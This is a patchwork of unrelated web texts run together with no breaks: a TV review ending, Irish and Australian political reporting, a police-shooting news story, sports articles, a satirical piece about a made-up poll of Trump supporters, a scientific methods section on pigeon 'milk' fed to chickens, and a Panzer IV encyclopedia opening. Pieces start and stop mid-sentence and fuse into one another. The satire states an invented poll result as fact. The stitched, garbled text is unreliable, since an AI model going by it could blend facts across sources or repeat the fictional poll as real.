With that, Vinyl asked an awful lot of its viewers in its first season: It expected people to forgive its indiscretions and rock revisionism when they realized they were far more interested in the painfully human failings, and so wonderfully hard-earned triumphs, of its characters. It asked us to stop trying so hard when it came to connecting the dots between the facts and the drama unfolding onscreen. It asked us to disengage from what we've heard so that we can listen to something we haven't, to accept Richie's take on things instead of the truth we've come to know. Vinyl started looking up the second that Ernst told Richie that he was trying too hard. It seems like the rest of Vinyl's universe got the message, too, and that we've got more to look forward to than a goofy portrait of the Ramones and the CBGB bathroom.A former defence minister has told of being approached by elderly people in tears, as well a constituent who spoke about taking his own life, in order to avoid serving on juries.
A former defence minister has told of being approached by elderly people in tears, as well a constituent who spoke about taking his own life, in order to avoid serving on juries.
Fianna Fáil TD Willie O'Dea said his office was "inundated" with visits and calls from residents of Limerick who were "terrified" of the prospect of having to adjudicate on gangland cases.
Speaking at a Fianna Fáil event in Dublin, Mr O'Dea was visibly angry as he attacked Sinn Fein over the party's pledge to repeal the country's anti-terror laws, which would result in the abolition of the Special Criminal Court.
"My office was inundated, inundated, by people coming into me, morning noon and night to be excused from jury service. Everybody in Limerick, from one end to the other, were absolutely terrified out of their wits, of serving on a jury, whether those people would be able to identify them," Mr O'Dea said on Saturday.
"I had elderly people crying in my office. One man told me he'd prefer to commit suicide rather than stay on a jury and have this thing hanging over him for the rest of his life," he added.
Mr O'Dea is a personal friend of the late Jerry McCabe, the detective garda who was was killed in Adare, Co Limerick, in June 1996 during the attempted robbery of a post office van.
Four IRA men, including Pearse McAuley, pleaded guilty to his manslaughter at the Special Criminal Court.
Mr O'Dea also hit out at party leader Gerry Adams and his loyalty to tax cheat and former IRA chief Thomas 'Slab' Murphy, who faces up five years in prison for tax fraud.
"Gerry Adams has hit back at the criticisms by saying that the gardai are inadequately resourced - this that and the other. Well Maybe if people like 'Slab' Murphy paid their taxes, people in this country who have been evading their taxes, if they paid their taxes maybe this government and its predecessor would have more money to properly resource the gards."
At the Special Criminal Court yesterday, the three presiding judges said Murphy will be sentenced on February 26 - which is Election Day.
Online EditorsThis past March, Loveland Police Officer
and seriously wounded during a routine traffic stop.
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for the crime, and he's now received a forty-year sentence -- one not long enough for many of Osilka's colleagues. Photos, videos and more below.
See also: Garret Osilka Update: Cody Powell Busted in Shooting of Loveland Police Officer, published on March 5
As we've reported, Osilka has an unusual back story -- he played professional baseball at the minor league level for seven years -- and an absolutely picture-perfect family, as judged by photos on his Facebook page.
Here's the biographical sketch of Osilka as shared in a past issue of Blue Revue, a Loveland Police Department publication:
Garret was raised in Jacksonville, FL. He went to Edison Community College in Ft. Meyers on a baseball scholarship. He was drafted by the Milwaukee Brewers from there and played for seven seasons. He obtained a bachelor's degree from the University of North Florida. He was then hired by the Jacksonville Sheriff's Office. He worked there for eight years as a patrol officer, a detective in the gang unit and a member of the SWAT Team.
According to Osilka's stat page on Baseball-Reference.com, he played on a slew of teams between 1996 and 2003, including the Helena Brewers, the Ogden Raptors and the Beloit Snappers, registering a.255 batting average over that stretch.
He remained active after he moved from baseball to law enforcement, as seen in this Facebook photo:
Also featured on the page are a bunch of family pics, all of which find Osilka beaming. Here's one example: But the incident that took place on the evening of March 2 was nothing to smile about. At about 7:48 p.m. that night, according to an arrest affidavit on view below, Osilka stopped a blue Jeep Cherokee for displaying unreadable license plates on the 2300 block of West 17th Street. As he approached the driver's side of the vehicle, he was shot by the driver using a 12-gauge shotgun.
Loveland Reporter-Herald staffer Jenny Sparks was on the scene shortly after the incident took place. She shot the following video:
Osilka survived the wound thanks to a bulletproof vest. Meanwhile, investigators found the Jeep and traced its temporary license plate to a Loveland repair shop where Powell worked. They then used shoe imprints and cell-phone triangulation to place Powell at the scene -- and along the way, they discovered text message exchanges between Powell and loved ones in the minutes after the shooting that had a certain air of finality to them.
Powell wrote to his stepfather, with whom he worked: "Thanks man. I've never got the chance to tell you I look up to you like my own dad. I think you're a kick ass person and I've been a lucky guy to have you as family."
Another text to his brother read: "Hey man. You know we haven't been too close in the past, but you know I've always looked up to you bro. I love you man." When his brother asked if everything was okay, Powell responded that he was stressed, had been drinking more than he should and was "fucking my shit up."
By the way, Powell's previous record includes burglary, theft and driving under the influence -- and he was apparently a firearms aficionado, In a Facebook post last year, he wrote, "Guns are like potato chips.... It's hard to have just one."
A couple of days later, Powell turned himself in at a north Fort Collins Walmart -- and he eventually pleaded guilty to shooting Osilka. During his sentencing, 7News quotes him as saying, "My reckless actions almost cost a life that night.... I am truly sorry." He emphasized that "I am not a violent person and I never meant to harm anyone this night. I am prepared to spend the rest of my life trying to make amends for the heinous crime that I have done."
The station adds background that's especially interesting given the content of the text to his stepfather: "Powell was recently diagnosed with PTSD and depression stemming from an abusive father who dunked him repeatedly in a toilet, forced him to eat nothing but sauerkraut and oatmeal and to sleep in a six-foot by two-foot closet when he was a child."
This information apparently didn't convince all of Osilka's fellow police officers that the sentence was just. One law enforcer among the many who packed the courtroom when Powell was given a forty-year jolt told the station, "It's a difficult job and we rely on justice to support us.... I don't think that happened today and I think that will have a negative impact on our agency."
Continue to see Powell's booking photos, a 7News report about the sentencing and the arrest affidavit, originally obtained by Fox31.
Send your story tips to the author, Michael Roberts.John Jewel travels Australia with a collection of old tools and artefacts from life on the land.
You could call it a swaggin' wagon.
It's a bed used by sheep shepherds throughout Australia in the 1900s.
It's one of hundreds of tools and artefacts collected by grey nomad John Jewel.
He's been on the road for 14 years travelling with a five tonne truck and a 25 foot van, to give people a taste of country life from Australia's early days.
The shepherds bed is just one of these prized possessions.
"It's better known around the country as a shepherds bed, box or station," John said.
"People don't realise it but we didn't have wire until the 1870s.
"Up until then there were no fences, and we didn't brand sheep, so if you let sheep roam they could end up on someone else's property.
"So the millions of sheep we had in this country had to be looked after by shepherds.
"Most of them were convicts out on tickets of leave.
"These men had to sleep on the grounds on a bit of canvas, like a swag. If you imagine a box covered with canvas... but made with untanned sheep hides.
Share John Jewel travels Australia with a collection of old tools and artefacts from life on the land.
"At least they could cover themselves and keep themselves up off the ground because they were sick all the time.
"It had wheels and a handle out the front and they had to pull it by hand, moving it as they moved the sheep.
"But it was a very hard life."
Mr Jewel says historical items, such as the shepherd bed, are increasingly getting donated to him by families who no longer want them.
"I collect nearly anything and everything that I can pick up," he said.
"People come up to me all the time and say 'look we have these things, it's been three generations in our family but the kids don't want it.'
"So Mum and Dad get very upset about this but when they see it can have another life these things get donated more and more often, which is sad in lots of ways."It was just over a week ago when the legendary Tim Duncan, one of the league’s greatest power forwards to ever play, announced his retirement. After spending his entire 19-year career with the Spurs, a career that included five NBA championships and two Most Valuable Player Awards, Duncan was walking away from the game of Basketball.
When the Spurs selected Duncan No. 1 overall in 1997, Gregg Popovich was just finishing his first (shortened) tenure as head coach of the team. Both Duncan and Popovich were heading into their first full NBA seasons in their respective jobs heading into the fall of ’97.
Duncan became a dominant force the moment he first stepped onto the NBA hardwood, averaging 21.1 points and 11.9 rebounds per game as a rookie during that season. The following year, Duncan would be named Finals MVP of the Spurs’ first ever championship team. Alongside him for the celebration, head coach Gregg Popovich.
Three years later, a 6’6″ Argentinian guard with the name of Manu Ginobili joins the roster. Ginobili and Duncan both steadily improved as teammates throughout the first decade of the new millennium, leading the Spurs to an additional three championships (2003, 2004, and 2007). They then went on to defeat Miami in 2014 to win another title, the fifth for Duncan and Popovich and the fourth for Ginobili.
Over the past few years, Tim Duncan and Manu Ginobili served as locker room leaders, making sure other talent such as Kawhi Leonard, Kyle Anderson, and Danny Green work their tails off in practice and in games. Providing assistance and giving advice to the younger guys, Duncan and Ginobili often became coaches themselves on the court in aiding Popovich:
Both Duncan and Ginobili grew close to head coach Gregg Popovich after spending more than 15 years together, and Popovich learned to trust their leadership. When Duncan announced his retirement, it ultimately meant one less locker room leader would be present next season. Popovich immediately realized just how important it was to retain Ginobili.
“Losing Tim made it absolutely imperative that we keep him,” Popovich told Michael Lee of The Vertical. “To lose them both at the same time, it would’ve been like death by a thousands cuts. It would’ve been awful.”
Thankfully for Gregg Popovich and the Spurs, Ginobili ultimately decided to return to the league this summer. San Antonio acted quickly, fending off the interested Philadelphia 76ers and locking up Ginobili on a one-year, $14 million deal.
Both Duncan and Ginobili offer characteristics more advanced than simple on-court results. With Duncan walking away, his leadership, laid back Spurs-like personality, and veteran experience is what Gregg Popovich and the rest of the Spurs will truly miss.
The Spurs still sport a roster filled with veterans — From Paul Gasol to Tony Parker, Manu Ginobili and LaMarcus Aldridge — But the absence of Tim Duncan will truly sting come October.
Gregg Popovich knows that now more than ever before.GOLD Coast- bound Manly star Daly Cherry-Evans has been accused of allegedly contacting Newcastle centre Dane Gagai in a bid to convince the Queensland Origin hopeful to spurn offers from the Knights and Brisbane to join him at the Titans next season.
Under fire for the way he openly conducted his own contract negotiations before revealing he was quitting the Sea Eagles at the end of the season to link with Gold Coast, Cherry-Evans is certain to come under further scrutiny over these latest claims.
The Daily Telegraph has been told the star halfback is already actively playing a recruitment role for the club he will join in 2015.
MATA’UTIA BROTHERS DUMP DOGS FOR KNIGHTS
MANLY HIT BACK WITH RE-SIGNING, NO.7 INTEREST
EXILED TITANS WELCOMED BACK BY TEAMMATES
It’s alleged he personally rang Gagai earlier this week in an attempt to entice the off-contract Knights star to the Gold Coast in 2015 with Newcastle CEO Matt Gidley refusing to hose down the explosive claims.
While Gidley would not identify Cherry-Evans by name, he made it pretty clear the Manly halfback was at the centre of the controversy.
“I’ve been made aware of approaches to some of our off-contract players by a leading halfback in the game,” Gidley confirmed.
“I’d rather not say any more than that at this stage.”
media_camera Daly Cherry-Evans has reportedly sounded out Dane Gagai about joining the Titans.
A source at the club revealed the Knights are privately fuming over the Gagai approach, which comes after the Titans officially joined the race to sign him by tabling a lucrative offer.
“Who is on his hit list? How many other players are being contacted?” the source said.
“It’s a dangerous game to be playing when you are still at your current club.”
Gagai’s manager Steve Gillis, who was ironically in meetings with Titans players and club management on the Gold Coast on Thursday, refused to confirm or deny the phone call took place.
“I’m not making any comment on it,” Gillis said.
media_camera Daly Cherry-Evans appears to have taken Titans recruitment into his own hands.
Titans coach Neil Henry claimed there has been no instruction to Cherry-Evans about taking an active role in recruitment for next season.
“I heard the rumour about it (the phone call) happening but that was the first I’d heard of it,” Henry said.
“I haven’t spoken to Daly since he signed with us so if he is ringing any players, it is not with my knowledge. I can’t vouch for the other recruitment staff here at the club.”
Henry confirmed the Titans had joined the race for Gagai’s signature and hat already tabled an offer.
“He’s a very good player who we’d love to have come to the club,” Henry said.While Donald Trump is leading the field of Republican hopefuls looking to gain the GOP nomination in 2016, a new poll out this week reveals not all may be as it appears.
“We’re just fucking with him,” says Ames, Iowa, resident Jeremy Blanc. “It’s funny to watch him take it seriously. He gets super caught up in it. Dude’s a fucking lunatic.”
A new Funny Or Die poll, released earlier this week, reveals that 99% of those claiming to be Trump supporters are only fucking with him for their own entertainment. It is as yet unclear if this was a true mass movement or if every person came to the conclusion on their own that watching Donald Trump believe that people support his becoming the actual president of the United States would be hilarious.
“It’s like watching the kid who shoots milk through his nose when he laughs,” admits Karen Young of Acworth, New Hampshire. “It’s gross and no one wants nose-milk all over the table, but damn if you don’t buy that kid a milk. I’ll say this, though: Donald Trump is an awful, awful man. Do you know that he said if his daughter wasn’t his daughter he’d probably be dating her? He literally, actually said that. Who wouldn’t want to fuck with that guy?”
While there is no one clear central motive for this country-wide practical joke, the dearth of shark attacks and first-run TV shows top the reasons of those polled by Funny Or Die. “I love the tonal shift Louie took last season — the series arc was intense,” noted another national prankster polled. “But until the next season starts, this maniac is hilarious. Someone asked him to quote the Bible and he just yelled ‘Leviticus’ at them. It’s beautiful.”
“Obviously I’d never vote for the guy,” noted yet another. “He’s mean, impractical, and wildly sexist. But it’s funny as shit to watch him have to stand in wind, and that has my support all day long. He get’s this petulant look on his face, like my grandpa used to look when he couldn’t drink on a Saturday. Though I’m pretty sure Trump is drunk.”
No one could say for certain when they would stop fucking with Trump, but most agreed that football would be the most likely candidate to take their attention, and all agreed they’d be ignoring him by Thanksgiving and forgetting about him by Christmas. “That’s the thing about that milk kid,” noted Ms. Young. “The novelty wears off pretty quick, and then you’re just stuck with a table full of nose-milk.”
Of the remaining 1% polled who actually do support Trump, all are incredibly rich and have zero sense of humor.Political attention over the past few weeks has been fixed on the drama of the Abbott government’s first budget – the winners and losers, the problem of broken promises, the prospects in the Senate. Beyond that, though, the budget reinforces another trend of potentially great significance for the quality of Australian democracy. Since its beginnings, the government has made a series of decisions that mean public scrutiny of its policies and their implementation is more difficult.
As soon as the Coalition took government last September, it set about distinguishing itself from its defeated, discredited predecessor. It would be a “no surprises, no excuses” government, Tony Abbott promised, and his first weeks in the job were designed to project an image of methodical deliberation. “Never before in Australian history has there been such a quiet transition to a new administration,” veteran correspondent Laurie Oakes wrote admiringly. “Abbott and his team ignored the hungry media beast’s demand to be fed.”
Within months, though, Oakes was accusing the Coalition of “thumbing its nose at voters” by avoiding media scrutiny. The new government, it soon became clear, was even more determined than its predecessors to control the flow of information to the media and the public.
The earliest decisions set the tone. All requests for interviews with Coalition frontbenchers would need the approval of the prime minister’s office. MPs were banned from engaging in political commentary on Facebook and Twitter. The code of conduct for ministerial staff gained a new clause, also banning political commentary on social media. One disenchanted senator, Ian Macdonald, accused Abbott’s office and his chief of staff, Peta Credlin, of “obsessive, centralised control.”
Next, the government introduced rules covering public servants’ use of social media in their official and private capacities. “The sweeping new rules will even cover public servants posting political comments anonymously, including mummy bloggers on parenting websites,” marvelled the Daily Telegraph. Public employees were expected to report breaches by their colleagues.
The move was supported by the Human Rights Commission’s new “freedom commissioner,” Tim Wilson. “Ultimately,” he said, “public servants voluntarily and knowingly choose to accept these limits on their conduct when they accept employment.” In other words, if they didn’t like the new restrictions, they had the freedom to resign.
The government also tightened freedom of information, or FOI, procedures. After the previous election, in 2010, at least seventeen departments released the briefs they had prepared for the incoming government, providing valuable information to journalists and the public about policy positions and challenges. No such release came after last year’s election, reported Crikey’s Bernard Keane, and officials were unable to explain the logic behind the reversal. FOI requests for the briefings were also refused.
In May, the attorney-general’s department declined to release a $400,000 report by KPMG examining three of Australia’s federal courts. According to the Australian’s Sean Parnell, it justified its decision on the novel grounds that to make it public “would have an impact on the proper and efficient conduct of the department” because “it would impede the provision of frank, independent advice from professional services firms to inform policy.” Such an open-ended exemption would justify withholding any consultancy report to government. As Parnell put it, “tactics of secrecy and obfuscation have returned to the fore in Canberra.”
Meanwhile, the under-resourced Office of the Australian Information Commissioner was taking 250 days, on average, to finalise requests for external reviews of decisions to refuse FOI requests. On budget night the government neatly disposed of this problem by abolishing the office. In future, appeals against FOI refusals are to be handled by the Administrative Appeals Tribunal, Attorney-General’s or the Commonwealth Ombudsman. The office was created in 2010 to address the long turnaround times and expensive appeals in the working of the FOI system; its abolition is likely to make it harder and more expensive for FOI users to extract information.
The government’s resistance to disclosure is having an impact not only on what information is released but also on what is produced, and by whom. Recent conservative governments have been much more active than the Rudd–Gillard government in moulding the senior sections of the public service to their liking. The most disturbing example is the Abbott government’s insistence, immediately on taking office, that Treasury secretary Martin Parkinson resign his position, with effect later this year. Both John Howard and Peter Costello advised against the forced resignation, and Parkinson’s predecessor, Ken Henry, described it as unprecedented in the department’s 113-year history. “No government has ever thought it appropriate to remove the head of the Treasury,” he said, “and put in somebody who they think is of… a more comfortable political character.” If that was Abbott’s motive, he said, then it was “disappointing” and “a historic action.” But according to the Conversation’s Michelle Grattan, a key factor was Parkinson’s earlier role as head of the Department of Climate Change.
Silence on the water
The first and most obvious transition from demanding information in opposition to containing it in government involved the contentious area of asylum-seeker policy. Immediately after the election, as Fairfax’s Dan Harrison reported, immigration minister Scott Morrison “stopped the practice of allowing officials to provide information to the media on boat arrivals in real time.” Instead, he began holding weekly briefings, and these were soon moved from Canberra to Sydney, making it harder for the Canberra press gallery to attend. On the Friday before Christmas, he told journalists at the briefing that it would be his last for the year, and that he would be issuing written statements instead. In the Christmas–New Year break, reported the Guardian, “Morrison’s spokesman refused to confirm whether these weekly briefings would continue after the holiday period.” Later it was announced that Morrison had abandoned regular briefings and would now only make ad hoc appearances.
Morrison not only reduced opportunities for the media to interrogate him, he also frequently declined to answer the questions they did get a chance to ask. His rationale for silence lay in the military rhetoric with which the government framed its policy. Controlling information in order to deny people smugglers the opportunity to use that knowledge is “not uncommon with military-style operations,” he said soon after the election. It wasn’t the government’s job “to run a shipping news service” for people smugglers. “The battle is being fought using the full arsenal of measures,” he assured parliament. The navy, which was conducting what the government called Operation Sovereign Borders, said that it, too, could not discuss “on-water” matters. The definition of “on-water” matters has proved to be enormously elastic.
The government has used the military not just to carry out policy but also “as a political shield,” argues Michelle Grattan. Military personnel refused to tell the Senate what training they had received, because that would involve revealing “on-water” matters. Nor would they reveal whether their vessels had GPS devices; to do so would be inconsistent with “the information requirements across the battle space,” according to defence force chief David Hurley, and would constitute information “likely to be sought by adversary intelligence elements.” Gallery reporter Bernard Keane judged “the evasion, casuistry and outright refusal of officials to allow any aspect of Operation Sovereign Borders to be scrutinised, no matter how far removed from ‘on-water operations’” to be “a new low in Australian government transparency.”
The military’s intransigence in the Senate culminated in a frustrated shadow defence minister Stephen Conroy haranguing General Angus Campbell. “You can’t tell the Australian public the truth because you might upset an international neighbour,” he charged during a Senate estimates hearing. “That’s called a political cover-up.” Conroy invoked the Tom Cruise–Jack Nicholson exchange in the movie A Few Good Men: “You want the truth. You can’t handle the truth.” In this spectacularly counterproductive move, Conroy turned the spotlight from the military onto himself, and a chorus cried for him to apologise or resign.
But Conroy’s anger may have played a role in forcing the military to reveal that personnel involved in Operation Sovereign Borders had been excused from key clauses of the Work Health and Safety Act, which requires workers to take reasonable care of their own and of others’ wellbeing. The government argues that this is justified by the hazardous nature of the work they are doing – even though no such exemptions applied to Australian troops in Afghanistan and in operations against Somali pirates.
Making “stop the boats” the sole measure of policy success demands very focused public attention and highly circumscribed public sympathies. Information about Indonesia’s objections to Australia’s policy of intercepting boats at sea and towing them back to Indonesian waters creates unwelcome complexity. In combination with ludicrous and unsavoury spying by Australian intelligence, the government’s actions have brought the bilateral relationship with Indonesia to its lowest ebb since the Australian military was battling Indonesian-backed militias in East Timor in 1999.
Nor does the government want close scrutiny of how the boats are turned back. This is likely to be a much messier, and potentially nastier, process than the military jargon would suggest. On the few occasions when this process has attracted media attention – from the ABC and Fairfax, in both cases deriving from work done by their Jakarta-based correspondents – the government’s determination to shut the story down was evident. Ministers not only denounced the news organisations involved – the ABC is taking “everyone’s side but Australia’s” charged the prime minister – but refused to hold any inquiries. According to the Age’s Michael Gordon, “no attempt” appeared to have been made “by Australian officials to interview those making claims.”
Sticking with the single goal of “stop the boats” also involves drastically restricting information about what is occurring in the detention centres. “In line with its wider secrecy policy on border protection, the government is trying to suppress information about self-harm incidents,” reported Michelle Grattan. “Publicity only encourages such incidents, it says.” In late December, according to the Guardian’s Oliver Laughland, “Morrison was silent on a letter sent from fifteen doctors describing in chilling detail a raft of medical failings in detention centres on Christmas Island.” A Commonwealth ombudsman’s report in 2013 confirmed that detention for longer than six months has a significant impact on mental health.
The operation of all the detention centres, onshore and offshore, is outsourced. Transfield has a $1.22 billion contract to run the centres on Manus Island, which was formerly run by G4S, and Nauru. Beyond those facts, “Australia has deliberately cloaked its detention centre archipelago in so many layers of secrecy that we know almost nothing about what goes on there,” argued Jeff Sparrow in the Guardian. “The camps are the equivalent of private businesses remotely located in foreign countries, and everything about them is designed to frustrate journalists seeking to report on them.” The virtues of privatisation are usually presented in economic terms, but sometimes they have benefits for a government seeking to evade accountability. All staff for Serco, which controls the onshore detention centres, sign a confidentiality agreement.
There has been little first-hand reporting of what occurs in the camps. The UNHCR described “harsh physical conditions” that don’t meet “international standards” on Nauru, but foreign minister Julie Bishop praised the conditions and said they were “certainly better than in Australian mining camps.” The government blocked a proposed visit by the Human Rights Commission to check on child asylum seekers in Nauru on the grounds that the “commission’s jurisdiction did not extend beyond Australia’s borders.” Nauru itself raised the price of a journalistic visa from $200 to $8000, and the fee is non-refundable even if the visa application is rejected.
The lack of independent access became an even more urgent issue after riots at the Manus Island detention centre on 18 February left one asylum seeker, Reza Berati, dead and another seventy-seven injured. Scott Morrison and G4S initially alleged that the killing and most of the violence took place outside the compound, despite reports to the contrary. “If people chose to remove themselves from that centre then they are obviously putting themselves at a place of much great risk…” Morrison said. “I can guarantee their safety when they remain in the centre and act cooperatively with those who are trying to provide them with support and accommodation…”
At nine o’clock on the following Saturday night, however, Morrison issued a media release revealing that his comments had been wrong. His most explosive admission was that most of the violence probably took place “within the perimeter of the centre.” At a hastily convened press conference in Sydney the following day, he said he had only found out the full facts on the Saturday, and so had sent out the correction that night. Both Australia and Papua New Guinea launched inquiries into the violence, although the governments agreed that only a “merged” report would be published. Despite the remarkable reversal, prime minister Abbott defended Morrison’s handling of the Manus Island incident with the words, “You don’t want a wimp running border protection.”
A PNG Supreme Court
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Ethics statement All work using animals was conducted in accordance with the Australian Code of Practise for the Care and Use of Animals for Scientific Purposes (7th edition), and in accordance with institutional animal ethics guidelines (Commonwealth Scientific and Industrial Research Organisation (CSIRO) Australian Animal Health Laboratory (AAHL) Animal Ethics Committee approval numbers 1289,1357 and 1446; and Deakin University Animal Ethics Committee approval numbers AEX56/2008 and AEX57/2008). Collection of pigeon ‘milk’ Breeding pairs of King pigeons were purchased from Kooyong Squab Producers (Moama, New South Wales, Australia) and housed in temperature controlled cabinets (between 21°C to 24°C) with a 12 hour light cycle (lights on 6 am). They were supplied with nest bowls and materials and had ad libitum access to pigeon mix (pro-vit-min, Ivorsons, Geelong, Australia) and water. Pigeons were allowed to breed, and were culled, along with their squabs, at either the time the squab hatched, or 2 days after the squab hatched. Pigeon ‘milk’ was collected from the crop of the parents and the squabs into sterile 2 mL tubes and frozen at −80°C until use. Samples were thawed at 4°C and pooled before use. Chicken husbandry Sixteen newly hatched male Ross308 chickens were purchased from a commercial supplier (Bartter Enterprises, Bannockburn, Victoria, Australia). They were randomly assigned into 2 groups, wing-tagged for identification and weighed. The chicks were housed in separate cages within the same cabinet, to prevent access to the other group’s feed. Heat lamps were provided at one side of each cage to establish a temperature gradient. To keep the pigeon ‘milk’ fresh, the chicks were fed three times a day by mixing the pigeon ‘milk’ into a pre-weighed amount of antibiotic-free chicken feed (Country Heritage Feeds OPO05, Queensland, Australia), which was placed on a tray in the cage. Before each feed the amount of feed consumed by each group was calculated. Each chicken received on average 5 grams of pigeon ‘milk’ per day for 7 days. A subsequent trial investigating the effect of the protein and fat components of pigeon ‘milk’ was set up as described above, where the replacement pigeon ‘milk’ consisted of peptone proteose (Becton Dickson, Australia) equivalent to 45% and pig lard (Fonterra, Australia) equivalent to 11%. These were chosen as they had the most similar amino acid and fatty acid compositions to pigeon ‘milk’. Chicken measurements and sample collection Body mass of each chicken was determined on day 4. The chickens were culled after 7 days and their final weight was recorded. The following measurements were taken: from the top of the cranium to the cloaca (height), from the end of the furthermost wing digit on the left to the furthermost digit on the right (wing span), and from the patella to the posterior end of the tarsometatarsus (leg span). The breast muscle was removed from the breast bone with a scalpel and weighed. The caecal tonsils and ileum (adjacent to the caecal tonsils) were removed and collected in RNALater (Invitrogen) and frozen at −20°C until RNA extraction. The contents of the cecum was collected in sterile 5 mL containers and frozen at −20°C until DNA extraction. Statistical analysis of chicken body measurements A statistical comparison of control and PM-fed chicken body measurements was performed with an unpaired t-test. Average percent body mass gain of PM-fed and PM replacement-fed chickens was calculated by normalising the weight gain of each experimental group chicken to the median weight gain of the corresponding control group chickens. A Kruskal-Wallis test with Dunns post-hoc test was used to identify any statistically significant difference in body mass gain between control, PM-fed and PM replacement-fed chickens. RNA isolation, labelling and microarray hybridisation RNA was extracted from the caecal tonsil and ileum tissue of 6 control and 6 PM-fed chickens (mean weights) using a Cartagen RNA extraction kit (Inbio, Eltham, Australia) according to the manufacturer's instructions. cDNA was synthesised from 5 µg RNA using SuperScript III (Invitrogen) with oligo dt primer. This was purified with a Qiagen PCR Purification Kit and labelled with Cy3 using a Roche One-Color DNA Labelling Kit according to the manufacturer's instructions. The labelled microarray probes were resuspended with a sample tracking control and hybridisation buffer and loaded on 12-plex 135 k custom chicken microarrays (NimbleGen design #10309). The array contains 65,850 probes printed in duplicate, of which there are 32,357 probes with unique UniGene IDs. Most unique genes have 2 or more probes. Information on the custom array is available from ArrayExpress using the accession number A-MEXP-2133. These were hybridised for 20 hours in a NimbleGen Hybridisation Station (Roche) at 42°C and then washed using the NimbleGen wash buffer kit (Roche) according to the manufacturer's instructions. Each subarray was scanned at 2 µm on autogain with a NimbleGen MS200 microarray scanner (Roche). Microarray quality control and statistical analysis Sample tracking controls and control spots were used to autoalign a grid over each subarray using NimbleGen MS200 software (Roche), and Robust Multichip Average (RMA) analysis [51] was used to background correct and normalise the spot signal intensity. The datasets, along with probe annotation information, were exported into GeneSpring (Agilent) and differentially expressed genes were identified using Student's t-test, assuming unequal variances, with a false discovery rate of p = 0.05. Control ileum was compared to PM-fed ileum, and control caecal tonsil was compared to PM-fed caecal tonsil. All results have been deposited into the ArrayExpress database with accession number E-MTAB-1127. IgA expression analysis The relative expression level of the IgA heavy chain (probe CLIGG_34917) was calculated from the RMA normalised spot signal intensity by dividing each probe by the total probe intensity and multiplying by 10 million. The relative signal intensity in the ileum and caecal tonsil for PM-fed chickens and control chickens was subjected to an unpaired t-test, and the mean and standard error of the mean was calculated and graphed using GraphPad5. Gene functional analysis The DAVID functional annotation tool [52] was used to identify pathways and biological functions up-regulated in the caecal tonsil and ileum in association with pigeon ‘milk’. An ease score of 0.05 was used to determine enriched Kyoto Encyclopedia of Genes and Genomes (KEGG) pathways and Gene Ontology (GO) FAT biological functions. Interferon-stimulated genes were functionally annotated using the Interferon Stimulated Gene Database [53] and/or a literature search. Caecal DNA extraction and 16S amplification Total DNA was extracted from caecal contents as per the method of Yu and Morrison [54]. DNA quality and quantity was measured on a NanoDrop ND-1000 spectrophotometer. The V1-V3 region of bacterial 16S rRNA was amplified from caecal DNA following the method of Stanley et al using the primers and conditions previously detailed [55]. High throughput 16S amplicon sequencing and data pre-processing The amplified 16S rRNA gene samples from each bird were pooled using approximately equal amounts of each PCR product. The pooled sample was sequenced using the Roche/454 FLX Genome Sequencer and Titanium chemistry according to the manufacturer's instructions. Sff files were split into fasta and qual files using PyroBayes [56], and data was analysed with Qiime v1.3.0 software [57], except for OTU picking, denoising and chimera detection which was done using Otupipe [58]. Two samples (C1 and C3) were removed from analysis due to low sequence numbers per sample. Additional filtering of samples was performed to remove OTUs present in less than 3 samples or with less than 5 sequences. The default Qiime analysis parameters were used except as follows: sequence length 300–600 bases, no ambiguous sequences allowed, maximum of 6 homopolymers and classification by RDP. OTU sequences have been deposited in the European Molecular Biology Laboratory EMBL-Bank with accession numbers HE814242-HE814562. Network analysis of OTUs Filtered, multiple rarefied OTU abundance data was used to generate a network of shared OTUs in Cytoscape v2.8. Analysis of bacteria that are differentially abundant in the cecum of PM-fed chickens and control chickens Raw filtered OTU reads for each control chicken and PM-fed chicken sample were imported into Metastats [59] for statistical analysis, using 1000 permutations, to identify OTUs that were differentially abundant between control chickens and PM-fed chickens. OTUs were considered differentially abundant if the p value was less than 0.05. Identification of shared OTUs in PM, ctrl and PM-fed chickens OTUs were called as present if the filtered, multiple rarefied count was greater than zero. For shared OTUs, the representative OTU sequence was uploaded to EZTaxon [60] and the closest cultured isolate was identified.
Acknowledgments The authors would like to thank Kate Goossens and Sarah Fardy for their assistance with sample collection, and Nic Kieselbach and Adam Stein for pigeon and chicken husbandry. Thank you to Susanne Wilson for animal husbandry and assistance with chicken feeding, sample measurement and collection. Thank you to Leona McLaren from Kooyong Squab for supplying the pigeons.
Author Contributions Conceived and designed the experiments: MG TC. Performed the experiments: MG TC RM HC. Analyzed the data: MG DS. Contributed reagents/materials/analysis tools: MG TC RM DS. Wrote the paper: MG. Contributed to formulation of ideas: RM JD KN.The Panzerkampfwagen IV (PzKpfw IV), commonly known as the Panzer IV, was a German medium tank developed in the late 1930s and used extensively during the Second World War. Its ordnance inventory designation was Sd.Kfz. 161.
The Panzer IV was the most numerous German tank and the second-most numerous German armored fighting vehicle of the Second World War, with some 8,500 built. The Panzer IV chassis was used as the base for many other fighting vehicles, including the Sturmgeschütz IV assault gun, Jagdpanzer IV tank destroyer, the Wirbelwind self-propelled anti-aircraft gun, and the Brummbär self-propelled gun.
The Panzer IV saw service in all combat theaters involving Germany and was the only German tank to remain in continuous production throughout the war. It received various upgrades and design modifications, intended to counter new threats, extending its service life. Generally, these involved increasing the Panzer IV's armor protection or upgrading its weapons, although during the last months of the war, with Germany's pressing need for rapid replacement of losses, design changes also included simplifications to speed up the manufacturing process.
The Panzer IV was partially succeeded by the Panther medium tank, which was introduced to counter the Soviet T-34, although the Panzer IV continued as a significant component of German armoured formations to the end of the war. The Panzer IV was the most widely exported tank in German service, with around 300 sold to Finland, Romania, Spain and Bulgaria. After the war, Syria procured Panzer IVs from France and Czechoslovakia, which saw combat in the 1967 Six-Day War. 8,553 Panzer IVs of all versions were built during World War II, with only the StuG III assault-gun/tank destroyer's 10,086 vehicle production run exceeding the Panzer IV's total among Axis armored forces.
Development history [ edit ]
Origins [ edit ]
